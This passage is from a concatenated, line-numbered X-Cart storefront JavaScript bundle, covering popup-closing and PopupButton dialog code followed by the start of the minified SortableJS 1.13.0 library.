this.currentPopup = null; 7608 7609 xcart.trigger('popup.close', { 'widget': this, 'box': box, event }); 7610}; 7611 7612popup.beforeClose = function(event) 7613{ 7614 var box; 7615 if (this.currentPopup && this.currentPopup.box) { 7616 box = this.currentPopup.box; 7617 } 7618 7619 xcart.trigger('popup.beforeClose', { 'widget': this, 'box': box, event }); 7620}; 7621 7622xcart.bind('popup.open', function () { 7623 document.querySelectorAll('.ui-dialog-titlebar-close').forEach(btn => { 7624 if (!btn.innerText) { 7625 btn.innerHTML += '<span class="visually-hidden">' + xcart.t('Close') + '</span>'; 7626 } 7627 }); 7628}); 7629 7630jQuery(window).resize( 7631 function(event) { 7632 popup.reposition(); 7633 } 7634);; 7635/* AUTOGENERATED: xcart.popup_button.js */ 7636/* vim: set ts=2 sw=2 sts=2 et: */ 7637 7638/** 7639 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 7640 * See https://www.x-cart.com/license-agreement.html for license details. 7641 */ 7642 7643var lastPopupButton; 7644 7645function PopupButton(base) { 7646 var obj = this; 7647 7648 if (base) { 7649 this.base = base; 7650 this.eachCallback(base); 7651 } else { 7652 this.base = jQuery(this.pattern); 7653 this.base.each( 7654 function () { 7655 obj.eachCallback(this); 7656 } 7657 ); 7658 } 7659} 7660 7661PopupButton.prototype.pattern = '.popup-button.default-popup-button'; 7662 7663PopupButton.prototype.enableBackgroundSubmit = true; 7664 7665PopupButton.prototype.options = { 7666 width: 'auto' 7667}; 7668 7669PopupButton.prototype.afterSubmit = function (selector) { 7670}; 7671 7672PopupButton.prototype.callback = function (selector, link) { 7673 7674 var obj = this; 7675 7676 var shouldClose = jQuery(this.base).data('without-close') === true || !jQuery(this.base).data('without-close'); 7677 7678 if (!this.enableBackgroundSubmit) { 7679 jQuery('form', selector).each(function () { 7680 this.commonController.backgroundSubmit = false; 7681 }); 7682 } else if (shouldClose) { 7683 jQuery('form', selector).each(function () { 7684 jQuery(this).commonController( 7685 'enableBackgroundSubmit', 7686 function () { 7687 // Close dialog (but it is available in DOM) 7688 popup.close(); 7689 openWaitBar(); 7690 7691 return true; 7692 }, 7693 function (event) { 7694 closeWaitBar(); 7695 7696 obj.afterSubmit(selector); 7697 7698 // Remove dialog from DOM 7699 jQuery(selector).remove(); 7700 link.linkedDialog = null; 7701 7702 return false; 7703 } 7704 ); 7705 }); 7706 } 7707 7708 $(link).trigger('popup.open'); 7709 7710 xcart.autoload(PopupButton); 7711}; 7712 7713PopupButton.prototype.getURLParams = function (button) { 7714 return xcart.getCommentedData(button, 'url_params'); 7715}; 7716 7717PopupButton.prototype.getJSConfirmText = function (button) { 7718 return xcart.getCommentedData(button, 'jsConfirm'); 7719}; 7720 7721PopupButton.prototype.eachClick = function (elem) { 7722 lastPopupButton = jQuery(elem); 7723 7724 var proceed = true; 7725 7726 if (lastPopupButton.hasClass('disabled')) { 7727 return false;
7728 } 7729 7730 if (this.getJSConfirmText(elem)) { 7731 proceed = confirm(this.getJSConfirmText(elem)); 7732 } 7733 7734 if (proceed) { 7735 this.beforeLoadDialog(elem); 7736 return loadDialogByLink( 7737 elem, 7738 URLHandler.buildURL(this.getURLParams(elem)), 7739 this.options, 7740 _.bind(this.callback, this), 7741 elem 7742 ); 7743 } 7744 7745 return proceed; 7746}; 7747 7748PopupButton.prototype.beforeLoadDialog = function (elem) { 7749}; 7750 7751PopupButton.prototype.eachCallback = function (elem) { 7752 var obj = this; 7753 elem.popupController = obj; 7754 7755 var handler = _.bind(obj.eachClick, this); 7756 jQuery(elem).click( 7757 function (event) { 7758 handler(this); 7759 event.stopImmediatePropagation(); 7760 7761 return false; 7762 } 7763 ); 7764};; 7765/* AUTOGENERATED: Sortable.js */ 7766/*! Sortable 1.13.0 - MIT | git://github.com/SortableJS/Sortable.git */ 7767!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t=t||self).Sortable=e()}(this,function(){"use strict";function o(t){return(o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function a(){return(a=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(t[o]=n[o])}return t}).apply(this,arguments)}function I(i){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{},e=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(r).filter(function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable}))),e.forEach(function(t){var e,n,o;e=i,o=r[n=t],n in e?Object.defineProperty(e,n,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[n]=o})}return i}function l(t,e){if(null==t)return{};var n,o,i=function(t,e){if(null==t)return{};var n,o,i={},r=Object.keys(t);for(o=0;o<r.length;o++)n=r[o],0<=e.indexOf(n)||(i[n]=t[n]);return i}(t,e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(t);for(o=0;o<r.length;o++)n=r[o],0<=e.indexOf(n)||Object.prototype.propertyIsEnumerable.call(t,n)&&(i[n]=t[n])}return i}function e(t){return function(t){if(Array.isArray(t)){for(var e=0,n=new Array(t.length);e<t.length;e++)n[e]=t[e];return n}}(t)||function(t){if(Symbol.iterator in Object(t)||"[object Arguments]"===Object.prototype.toString.call(t))return Array.from(t)}(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance")}()}function t(t){if("undefined"!=typeof window&&window.navigator)return!!navigator.userAgent.match(t)}var w=t(/(?:Trident.*rv[ :]?11\.|msie|iemobile|Windows Phone)/i),E=t(/Edge/i),c=t(/firefox/i),u=t(/safari/i)&&!t(/chrome/i)&&!t(/android/i),n=t(/iP(ad|od|hone)/i),i=t(/chrome/i)&&t(/android/i),r={capture:!1,passive:!1};function d(t,e,n){t.addEventListener(e,n,!w&&r)}function s(t,e,n){t.removeEventListener(e,n,!w&&r)}function h(t,e){if(e){if(">"===e[0]&&(e=e.substring(1)),t)try{if(t.matches)return t.matches(e);if(t.msMatchesSelector)return t.msMatchesSelector(e);if(t.webkitMatchesSelector)return t.webkitMatchesSelector(e)}catch(t){return!1}return!1}}function P(t,e,n,o){if(t){n=n||document;do{if(null!=e&&(">"===e[0]?t.parentNode===n&&h(t,e):h(t,e))||o&&t===n)return t;if(t===n)break}while(t=(i=t).host&&i!==document&&i.host.nodeType?i.host:i.parentNode)}var i;return null}var f,p=/\s+/g;function k(t,e,n){if(t&&e)if(t.classList)t.classList[n?"add":"remove"](e);else{var o=(" "+t.className+" ").replace(p," ").replace(" "+e+" "," ");t.className=(o+(n?" "+e:"")).replace(p," ")}}function R(t,e,n){var o=t&&t.style;if(o){if(void 0===n)return document.defaultView&&document.defaultView.getComputedStyle?n=document.defaultView.getComputedStyle(t,""):t.currentStyle&&(n=t.currentStyle),void 0===e?n:n[e];e in o||-1!==e.indexOf("webkit")||(e="-webkit-"+e),o[e]=n+("string"==typeof n?"":"px")}}function v(t,e){var n="";if("string"==typeof t)n=t;else do{var o=R(t,"transform");o&&"none"!==o&&(n=o+" "+n)}while(!e&&(t=t.parentNode));var i=window.DOMMatrix||window.WebKitCSSMatrix||window.CSSMatrix||window.MSCSSMatrix;return i&&new i(n)}function g(t,e,n){if(t){var o=t.getElementsByTagName(e),i=0,r=o.length;if(n)for(;i<r;i++)n(o[i],i);return o}return[]}function A(){var t=document.scrollingElement;return t||document.documentElement}function X(t,e,n,o,i){if(t.getBoundingClientRect||t===window){var r,a,l,s,c,u,d;if(d=t!==window&&t.parentNode&&t!==A()?(a=(r=t.getBoundingClientRect()).top,l=r.left,s=r.bottom,c=r.right,u=r.height,r.width):(l=a=0,s=window.innerHeight,c=window.innerWidth,u=window.innerHeight,window.innerWidth),(e||n)&&t!==window&&(i=i||t.parentNode,!w))do{if(i&&i.getBoundingClientRect&&("none"!==R(i,"transform")||n&&"static"!==R(i,"position"))){var h=i.getBoundingClientRect();a-=h.top+parseInt(R(i,"border-top-width")),l-=h.left+parseInt(R(i,"border-left-width")),s=a+r.height,c=l+r.width;break}}while(i=i.parentNode);
vendor: 4,111 bytes, line 7767
7767if(o&&t!==window){var f=v(i||t),p=f&&f.a,g=f&&f.d;f&&(s=(a/=g)+(u/=g),c=(l/=p)+(d/=p))}return{top:a,left:l,bottom:s,right:c,width:d,height:u}}}function Y(t,e,n){for(var o=H(t,!0),i=X(t)[e];o;){var r=X(o)[n];if(!("top"===n||"left"===n?r<=i:i<=r))return o;if(o===A())break;o=H(o,!1)}return!1}function m(t,e,n){for(var o=0,i=0,r=t.children;i<r.length;){if("none"!==r[i].style.display&&r[i]!==Rt.ghost&&r[i]!==Rt.dragged&&P(r[i],n.draggable,t,!1)){if(o===e)return r[i];o++}i++}return null}function B(t,e){for(var n=t.lastElementChild;n&&(n===Rt.ghost||"none"===R(n,"display")||e&&!h(n,e));)n=n.previousElementSibling;return n||null}function F(t,e){var n=0;if(!t||!t.parentNode)return-1;for(;t=t.previousElementSibling;)"TEMPLATE"===t.nodeName.toUpperCase()||t===Rt.clone||e&&!h(t,e)||n++;return n}function b(t){var e=0,n=0,o=A();if(t)do{var i=v(t),r=i.a,a=i.d;e+=t.scrollLeft*r,n+=t.scrollTop*a}while(t!==o&&(t=t.parentNode));return[e,n]}function H(t,e){if(!t||!t.getBoundingClientRect)return A();var n=t,o=!1;do{if(n.clientWidth<n.scrollWidth||n.clientHeight<n.scrollHeight){var i=R(n);if(n.clientWidth<n.scrollWidth&&("auto"==i.overflowX||"scroll"==i.overflowX)||n.clientHeight<n.scrollHeight&&("auto"==i.overflowY||"scroll"==i.overflowY)){if(!n.getBoundingClientRect||n===document.body)return A();if(o||e)return n;o=!0}}}while(n=n.parentNode);return A()}function y(t,e){return Math.round(t.top)===Math.round(e.top)&&Math.round(t.left)===Math.round(e.left)&&Math.round(t.height)===Math.round(e.height)&&Math.round(t.width)===Math.round(e.width)}function D(e,n){return function(){if(!f){var t=arguments;1===t.length?e.call(this,t[0]):e.apply(this,t),f=setTimeout(function(){f=void 0},n)}}}function L(t,e,n){t.scrollLeft+=e,t.scrollTop+=n}function S(t){var e=window.Polymer,n=window.jQuery||window.Zepto;return e&&e.dom?e.dom(t).cloneNode(!0):n?n(t).clone(!0)[0]:t.cloneNode(!0)}function _(t,e){R(t,"position","absolute"),R(t,"top",e.top),R(t,"left",e.left),R(t,"width",e.width),R(t,"height",e.height)}function C(t){R(t,"position",""),R(t,"top",""),R(t,"left",""),R(t,"width",""),R(t,"height","")}var j="Sortable"+(new Date).getTime();function T(){var e,o=[];return{captureAnimationState:function(){o=[],this.options.animation&&[].slice.call(this.el.children).forEach(function(t){if("none"!==R(t,"display")&&t!==Rt.ghost){o.push({target:t,rect:X(t)});var e=I({},o[o.length-1].rect);if(t.thisAnimationDuration){var n=v(t,!0);n&&(e.top-=n.f,e.left-=n.e)}t.fromRect=e}})},addAnimationState:function(t){o.push(t)},removeAnimationState:function(t){o.splice(function(t,e){for(var n in t)if(t.hasOwnProperty(n))for(var o in e)if(e.hasOwnProperty(o)&&e[o]===t[n][o])return Number(n);return-1}(o,{target:t}),1)},animateAll:function(t){var c=this;if(!this.options.animation)return clearTimeout(e),void("function"==typeof t&&t());var u=!1,d=0;o.forEach(function(t){var e=0,n=t.target,o=n.fromRect,i=X(n),r=n.prevFromRect,a=n.prevToRect,l=t.rect,s=v(n,!0);s&&(i.top-=s.f,i.left-=s.e),n.toRect=i,n.thisAnimationDuration&&y(r,i)&&!y(o,i)&&(l.top-i.top)/(l.left-i.left)==(o.top-i.top)/(o.left-i.left)&&(e=function(t,e,n,o){return Math.sqrt(Math.pow(e.top-t.top,2)+Math.pow(e.left-t.left,2))/Math.sqrt(Math.pow(e.top-n.top,2)+Math.pow(e.left-n.left,2))*o.animation}(l,r,a,c.options)),y(i,o)||(n.prevFromRect=o,n.prevToRect=i,e||(e=c.options.animation),c.animate(n,l,i,e)),e&&(u=!0,d=Math.max(d,e),clearTimeout(n.animationResetTimer),n.animationResetTimer=setTimeout(function(){n.animationTime=0,n.prevFromRect=null,n.fromRect=null,n.prevToRect=null,n.thisAnimationDuration=null},e),n.thisAnimationDuration=e)}),clearTimeout(e),u?e=setTimeout(function(){"function"==typeof t&&t()},d):"function"==typeof t&&t(),o=[]},animate:function(t,e,n,o){if(o){R(t,"transition",""),R(t,"transform","");var i=v(this.el),r=i&&i.a,a=i&&i.d,l=(e.left-n.left)/(r||1),s=(e.top-n.top)/(a||1);t.animatingX=!!l,t.animatingY=!!s,R(t,"transform","translate3d("+l+"px,"+s+"px,0)"),this.forRepaintDummy=function(t){return t.offsetWidth}(t),R(t,"transition","transform "+o+"ms"+(this.options.easing?" "+this.options.easing:"")),R(t,"transform","translate3d(0,
77670,0)"),"number"==typeof t.animated&&clearTimeout(t.animated),t.animated=setTimeout(function(){R(t,"transition",""),R(t,"transform",""),t.animated=!1,t.animatingX=!1,t.animatingY=!1},o)}}}}var x=[],M={initializeByDefault:!0},O={mount:function(e){for(var t in M)!M.hasOwnProperty(t)||t in e||(e[t]=M[t]);x.forEach(function(t){if(t.pluginName===e.pluginName)throw"Sortable: Cannot mount plugin ".concat(e.pluginName," more than once")}),x.push(e)},pluginEvent:function(e,n,o){var t=this;this.eventCanceled=!1,o.cancel=function(){t.eventCanceled=!0};var i=e+"Global";x.forEach(function(t){n[t.pluginName]&&(n[t.pluginName][i]&&n[t.pluginName][i](I({sortable:n},o)),n.options[t.pluginName]&&n[t.pluginName][e]&&n[t.pluginName][e](I({sortable:n},o)))})},initializePlugins:function(o,i,r,t){for(var e in x.forEach(function(t){var e=t.pluginName;if(o.options[e]||t.initializeByDefault){var n=new t(o,i,o.options);n.sortable=o,n.options=o.options,o[e]=n,a(r,n.defaults)}}),o.options)if(o.options.hasOwnProperty(e)){var n=this.modifyOption(o,e,o.options[e]);void 0!==n&&(o.options[e]=n)}},getEventProperties:function(e,n){var o={};return x.forEach(function(t){"function"==typeof t.eventProperties&&a(o,t.eventProperties.call(n[t.pluginName],e))}),o},modifyOption:function(e,n,o){var i;return x.forEach(function(t){e[t.pluginName]&&t.optionListeners&&"function"==typeof t.optionListeners[n]&&(i=t.optionListeners[n].call(e[t.pluginName],o))}),i}};function N(t){var e=t.sortable,n=t.rootEl,o=t.name,i=t.targetEl,r=t.cloneEl,a=t.toEl,l=t.fromEl,s=t.oldIndex,c=t.newIndex,u=t.oldDraggableIndex,d=t.newDraggableIndex,h=t.originalEvent,f=t.putSortable,p=t.extraEventProperties;if(e=e||n&&n[j]){var g,v=e.options,m="on"+o.charAt(0).toUpperCase()+o.substr(1);!window.CustomEvent||w||E?(g=document.createEvent("Event")).initEvent(o,!0,!0):g=new CustomEvent(o,{bubbles:!0,cancelable:!0}),g.to=a||n,g.from=l||n,g.item=i||n,g.clone=r,g.oldIndex=s,g.newIndex=c,g.oldDraggableIndex=u,g.newDraggableIndex=d,g.originalEvent=h,g.pullMode=f?f.lastPutMode:void 0;var b=I({},p,O.getEventProperties(o,e));for(var y in b)g[y]=b[y];n&&n.dispatchEvent(g),v[m]&&v[m].call(e,g)}}function K(t,e,n){var o=2<arguments.length&&void 0!==n?n:{},i=o.evt,r=l(o,["evt"]);O.pluginEvent.bind(Rt)(t,e,I({dragEl:z,parentEl:G,ghostEl:U,rootEl:q,nextEl:V,lastDownEl:Z,cloneEl:Q,cloneHidden:$,dragStarted:dt,putSortable:it,activeSortable:Rt.active,originalEvent:i,oldIndex:J,oldDraggableIndex:et,newIndex:tt,newDraggableIndex:nt,hideGhostForTarget:At,unhideGhostForTarget:It,cloneNowHidden:function(){$=!0},cloneNowShown:function(){$=!1},dispatchSortableEvent:function(t){W({sortable:e,name:t,originalEvent:i})}},r))}function W(t){N(I({putSortable:it,cloneEl:Q,targetEl:z,rootEl:q,oldIndex:J,oldDraggableIndex:et,newIndex:tt,newDraggableIndex:nt},t))}var z,G,U,q,V,Z,Q,$,J,tt,et,nt,ot,it,rt,at,lt,st,ct,ut,dt,ht,ft,pt,gt,vt=!1,mt=!1,bt=[],yt=!1,wt=!1,Et=[],Dt=!1,St=[],_t="undefined"!=typeof document,Ct=n,Tt=E||w?"cssFloat":"float",xt=_t&&!i&&!n&&"draggable"in document.createElement("div"),Mt=function(){if(_t){if(w)return!1;var t=document.createElement("x");return t.style.cssText="pointer-events:auto","auto"===t.style.pointerEvents}}
vendor: 5,130 bytes, line 7767
7767(),Ot=function(t,e){var n=R(t),o=parseInt(n.width)-parseInt(n.paddingLeft)-parseInt(n.paddingRight)-parseInt(n.borderLeftWidth)-parseInt(n.borderRightWidth),i=m(t,0,e),r=m(t,1,e),a=i&&R(i),l=r&&R(r),s=a&&parseInt(a.marginLeft)+parseInt(a.marginRight)+X(i).width,c=l&&parseInt(l.marginLeft)+parseInt(l.marginRight)+X(r).width;if("flex"===n.display)return"column"===n.flexDirection||"column-reverse"===n.flexDirection?"vertical":"horizontal";if("grid"===n.display)return n.gridTemplateColumns.split(" ").length<=1?"vertical":"horizontal";if(i&&a.float&&"none"!==a.float){var u="left"===a.float?"left":"right";return!r||"both"!==l.clear&&l.clear!==u?"horizontal":"vertical"}return i&&("block"===a.display||"flex"===a.display||"table"===a.display||"grid"===a.display||o<=s&&"none"===n[Tt]||r&&"none"===n[Tt]&&o<s+c)?"vertical":"horizontal"},Nt=function(t){function s(a,l){return function(t,e,n,o){var i=t.options.group.name&&e.options.group.name&&t.options.group.name===e.options.group.name;if(null==a&&(l||i))return!0;if(null==a||!1===a)return!1;if(l&&"clone"===a)return a;if("function"==typeof a)return s(a(t,e,n,o),l)(t,e,n,o);var r=(l?t:e).options.group.name;return!0===a||"string"==typeof a&&a===r||a.join&&-1<a.indexOf(r)}}var e={},n=t.group;n&&"object"==o(n)||(n={name:n}),e.name=n.name,e.checkPull=s(n.pull,!0),e.checkPut=s(n.put),e.revertClone=n.revertClone,t.group=e},At=function(){!Mt&&U&&R(U,"display","none")},It=function(){!Mt&&U&&R(U,"display","")};_t&&document.addEventListener("click",function(t){if(mt)return t.preventDefault(),t.stopPropagation&&t.stopPropagation(),t.stopImmediatePropagation&&t.stopImmediatePropagation(),mt=!1},!0);function Pt(t){if(z){var e=function(r,a){var l;return bt.some(function(t){if(!B(t)){var e=X(t),n=t[j].options.emptyInsertThreshold,o=r>=e.left-n&&r<=e.right+n,i=a>=e.top-n&&a<=e.bottom+n;return n&&o&&i?l=t:void 0}}),l}((t=t.touches?t.touches[0]:t).clientX,t.clientY);if(e){var n={};for(var o in t)t.hasOwnProperty(o)&&(n[o]=t[o]);n.target=n.rootEl=e,n.preventDefault=void 0,n.stopPropagation=void 0,e[j]._onDragOver(n)}}}function kt(t){z&&z.parentNode[j]._isOutsideThisEl(t.target)}function Rt(t,e){if(!t||!t.nodeType||1!==t.nodeType)throw"Sortable: `el` must be an HTMLElement, not ".concat({}.toString.call(t));this.el=t,this.options=e=a({},e),t[j]=this;var n={group:null,sort:!0,disabled:!1,store:null,handle:null,draggable:/^[uo]l$/i.test(t.nodeName)?">li":">*",swapThreshold:1,invertSwap:!1,invertedSwapThreshold:null,removeCloneOnHide:!0,direction:function(){return Ot(t,this.options)},ghostClass:"sortable-ghost",chosenClass:"sortable-chosen",dragClass:"sortable-drag",ignore:"a, img",filter:null,preventOnFilter:!0,animation:0,easing:null,setData:function(t,e){t.setData("Text",e.textContent)},dropBubble:!1,dragoverBubble:!1,dataIdAttr:"data-id",delay:0,delayOnTouchOnly:!1,touchStartThreshold:(Number.parseInt?Number:window).parseInt(window.devicePixelRatio,10)||1,forceFallback:!1,fallbackClass:"sortable-fallback",fallbackOnBody:!1,fallbackTolerance:0,fallbackOffset:{x:0,y:0},supportPointer:!1!==Rt.supportPointer&&"PointerEvent"in window&&!u,emptyInsertThreshold:5};for(var o in O.initializePlugins(this,t,n),n)o in e||(e[o]=n[o]);for(var i in Nt(e),this)"_"===i.charAt(0)&&"function"==typeof this[i]&&(this[i]=this[i].bind(this));this.nativeDraggable=!e.forceFallback&&xt,this.nativeDraggable&&(this.options.touchStartThreshold=1),e.supportPointer?d(t,"pointerdown",this._onTapStart):(d(t,"mousedown",this._onTapStart),d(t,"touchstart",this._onTapStart)),this.nativeDraggable&&(d(t,"dragover",this),d(t,"dragenter",this)),bt.push(this.el),e.store&&e.store.get&&this.sort(e.store.get(this)||[]),a(this,T())}function Xt(t,e,n,o,i,r,a,l){var s,c,u=t[j],d=u.options.onMove;return!window.CustomEvent||w||E?(s=document.createEvent("Event")).initEvent("move",!0,!0):s=new CustomEvent("move",{bubbles:!0,cancelable:!0}),s.to=e,s.from=t,s.dragged=n,s.draggedRect=o,s.related=i||e,s.relatedRect=r||X(e),s.willInsertAfter=l,s.originalEvent=a,t.dispatchEvent(s),d&&(c=d.call(u,s,a)),c}function Yt(t){t.draggable=!1}function Bt(){Dt=!1}function Ft(t){for(var e=t.tagName+t.className+t.src+t.href+t.textContent,n=e.length,o=0;n--;)o+=e.charCodeAt(n);return o.toString(36)}function Ht(t){return setTimeout(t,0)}function Lt(t){return clearTimeout(t)}Rt.prototype={constructor:Rt,_isOutsideThisEl:function(t){this.el.contains(t)||t===this.el||(ht=null)},_getDirection:function(t,e){return"function"==typeof this.options.direction?this.options.direction.call(this,t,e,z):this.options.direction},_onTapStart:function(e){if(e.cancelable){var n=this,o=this.el,t=this.options,i=t.preventOnFilter,r=e.type,a=e.touches&&e.touches[0]||e.pointerType&&"touch"===e.pointerType&&e,l=(a||e).target,s=e.target.shadowRoot&&(e.path&&e.path[0]||e.composedPath&&e.composedPath()[0])||l,c=t.filter;if(function(t){St.length=0;var e=t.getElementsByTagName("input"),n=e.length;for(;n--;){var o=e[n];o.checked&&St.push(o)}}(o),!z&&!(/mousedown|pointerdown/.test(r)&&0!==e.button||t.disabled)&&!s.isContentEditable&&(this.nativeDraggable||!u||!l||"SELECT"!==l.tagName.toUpperCase())&&!((l=P(l,t.draggable,o,
vendor: 6,263 bytes, line 7767
7767!1))&&l.animated||Z===l)){if(J=F(l),et=F(l,t.draggable),"function"==typeof c){if(c.call(this,e,l,this))return W({sortable:n,rootEl:s,name:"filter",targetEl:l,toEl:o,fromEl:o}),K("filter",n,{evt:e}),void(i&&e.cancelable&&e.preventDefault())}else if(c&&(c=c.split(",").some(function(t){if(t=P(s,t.trim(),o,!1))return W({sortable:n,rootEl:t,name:"filter",targetEl:l,fromEl:o,toEl:o}),K("filter",n,{evt:e}),!0})))return void(i&&e.cancelable&&e.preventDefault());t.handle&&!P(s,t.handle,o,!1)||this._prepareDragStart(e,a,l)}}},_prepareDragStart:function(t,e,n){var o,i=this,r=i.el,a=i.options,l=r.ownerDocument;if(n&&!z&&n.parentNode===r){var s=X(n);if(q=r,G=(z=n).parentNode,V=z.nextSibling,Z=n,ot=a.group,rt={target:Rt.dragged=z,clientX:(e||t).clientX,clientY:(e||t).clientY},ct=rt.clientX-s.left,ut=rt.clientY-s.top,this._lastX=(e||t).clientX,this._lastY=(e||t).clientY,z.style["will-change"]="all",o=function(){K("delayEnded",i,{evt:t}),Rt.eventCanceled?i._onDrop():(i._disableDelayedDragEvents(),!c&&i.nativeDraggable&&(z.draggable=!0),i._triggerDragStart(t,e),W({sortable:i,name:"choose",originalEvent:t}),k(z,a.chosenClass,!0))},a.ignore.split(",").forEach(function(t){g(z,t.trim(),Yt)}),d(l,"dragover",Pt),d(l,"mousemove",Pt),d(l,"touchmove",Pt),d(l,"mouseup",i._onDrop),d(l,"touchend",i._onDrop),d(l,"touchcancel",i._onDrop),c&&this.nativeDraggable&&(this.options.touchStartThreshold=4,z.draggable=!0),K("delayStart",this,{evt:t}),!a.delay||a.delayOnTouchOnly&&!e||this.nativeDraggable&&(E||w))o();else{if(Rt.eventCanceled)return void this._onDrop();d(l,"mouseup",i._disableDelayedDrag),d(l,"touchend",i._disableDelayedDrag),d(l,"touchcancel",i._disableDelayedDrag),d(l,"mousemove",i._delayedDragTouchMoveHandler),d(l,"touchmove",i._delayedDragTouchMoveHandler),a.supportPointer&&d(l,"pointermove",i._delayedDragTouchMoveHandler),i._dragStartTimer=setTimeout(o,a.delay)}}},_delayedDragTouchMoveHandler:function(t){var e=t.touches?t.touches[0]:t;Math.max(Math.abs(e.clientX-this._lastX),Math.abs(e.clientY-this._lastY))>=Math.floor(this.options.touchStartThreshold/(this.nativeDraggable&&window.devicePixelRatio||1))&&this._disableDelayedDrag()},_disableDelayedDrag:function(){z&&Yt(z),clearTimeout(this._dragStartTimer),this._disableDelayedDragEvents()},_disableDelayedDragEvents:function(){var t=this.el.ownerDocument;s(t,"mouseup",this._disableDelayedDrag),s(t,"touchend",this._disableDelayedDrag),s(t,"touchcancel",this._disableDelayedDrag),s(t,"mousemove",this._delayedDragTouchMoveHandler),s(t,"touchmove",this._delayedDragTouchMoveHandler),s(t,"pointermove",this._delayedDragTouchMoveHandler)},_triggerDragStart:function(t,e){e=e||"touch"==t.pointerType&&t,!this.nativeDraggable||e?this.options.supportPointer?d(document,"pointermove",this._onTouchMove):d(document,e?"touchmove":"mousemove",this._onTouchMove):(d(z,"dragend",this),d(q,"dragstart",this._onDragStart));try{document.selection?Ht(function(){document.selection.empty()}):window.getSelection().removeAllRanges()}catch(t){}},_dragStarted:function(t,e){if(vt=!1,q&&z){K("dragStarted",this,{evt:e}),this.nativeDraggable&&d(document,"dragover",kt);var n=this.options;t||k(z,n.dragClass,!1),k(z,n.ghostClass,!0),Rt.active=this,t&&this._appendGhost(),W({sortable:this,name:"start",originalEvent:e})}else this._nulling()},_emulateDragOver:function(){if(at){this._lastX=at.clientX,this._lastY=at.clientY,At();for(var t=document.elementFromPoint(at.clientX,at.clientY),e=t;t&&t.shadowRoot&&(t=t.shadowRoot.elementFromPoint(at.clientX,at.clientY))!==e;)e=t;if(z.parentNode[j]._isOutsideThisEl(t),e)do{if(e[j]){if(e[j]._onDragOver({clientX:at.clientX,clientY:at.clientY,target:t,rootEl:e})&&!this.options.dragoverBubble)break}t=e}while(e=e.parentNode);It()}},_onTouchMove:function(t){if(rt){var e=this.options,n=e.fallbackTolerance,o=e.fallbackOffset,i=t.touches?t.touches[0]:t,r=U&&v(U,!0),a=U&&r&&r.a,l=U&&r&&r.d,s=Ct&>&&b(gt),c=(i.clientX-rt.clientX+o.x)/(a||1)+(s?s[0]-Et[0]:0)/(a||1),u=(i.clientY-rt.clientY+o.y)/(l||1)+(s?s[1]-Et[1]:0)/(l||1);if(!Rt.active&&!vt){if(n&&Math.max(Math.abs(i.clientX-this._lastX),Math.abs(i.clientY-this._lastY))<n)return;this._onDragStart(t,!0)}if(U){r?(r.e+=c-(lt||0),r.f+=u-(st||0)):r={a:1,b:0,c:0,d:1,e:c,f:u};var d="matrix(".concat(r.a,",").concat(r.b,",").concat(r.c,",").concat(r.d,",").concat(r.e,",").concat(r.f,")");R(U,"webkitTransform",d),R(U,"mozTransform",d),R(U,"msTransform",d),R(U,"transform",d),lt=c,st=u,at=i}t.cancelable&&t.preventDefault()}},_appendGhost:function(){if(!U){var t=this.options.fallbackOnBody?document.body:q,e=X(z,!0,Ct,!0,t),n=this.options;if(Ct){for(gt=t;"static"===R(gt,"position")&&"none"===R(gt,"transform")&>!==document;)gt=gt.parentNode;gt!==document.body&>!==document.documentElement?(gt===document&&(gt=A()),e.top+=gt.scrollTop,e.left+=gt.scrollLeft):gt=A(),Et=b(gt)}k(U=z.cloneNode(!0),n.ghostClass,!1),k(U,n.fallbackClass,!0),k(U,n.dragClass,!0),R(U,"transition",""),R(U,"transform",""),R(U,"box-sizing","border-box"),R(U,"margin",0),R(U,"top",e.top),R(U,"left",e.left),R(U,"width",e.width),R(U,"height",e.height),R(U,"opacity","0.8"),R(U,"position",Ct?"absolute":"fixed"),R(U,"zIndex","100000"),R(U,"pointerEvents","none"),Rt.ghost=U,t.appendChild(U),R(U,"transform-origin",ct/parseInt(U.style.width)*100+"% "+ut/parseInt(U.style.height)*100+"%")}},_onDragStart:function(t,e){var n=this,o=t.dataTransfer,i=n.options;K("dragStart",this,{evt:t}),Rt.eventCanceled?this._onDrop():(K("setupClone",this),Rt.eventCanceled||((Q=S(z)).draggable=!1,Q.style["will-change"]="",this._hideClone(),k(Q,this.options.chosenClass,!1),Rt.clone=Q),n.cloneId=Ht(function(){K("clone",n),Rt.eventCanceled||(n.options.removeCloneOnHide||q.insertBefore(Q,z),n._hideClone(),W({sortable:n,name:"clone"}))}),e||k(z,i.dragClass,!0),e?(mt=!0,n._loopId=setInterval(n._emulateDragOver,50)):(s(document,"mouseup",n._onDrop),s(document,"touchend",n._onDrop),s(document,"touchcancel",n._onDrop),o&&(o.effectAllowed="move",i.setData&&i.setData.call(n,o,z)),d(document,"drop",n),R(z,"transform","translateZ(0)")),vt=!0,n._dragStartId=Ht(n._dragStarted.bind(n,e,t)),d(document,"selectstart",n),dt=!0,u&&R(document.body,"user-select","none"))},_onDragOver:function(n){var o,i,r,a,l=this.el,s=n.target,e=this.options,t=e.group,c=Rt.active,u=ot===t,d=e.s
vendor: 4,823 bytes, line 7767
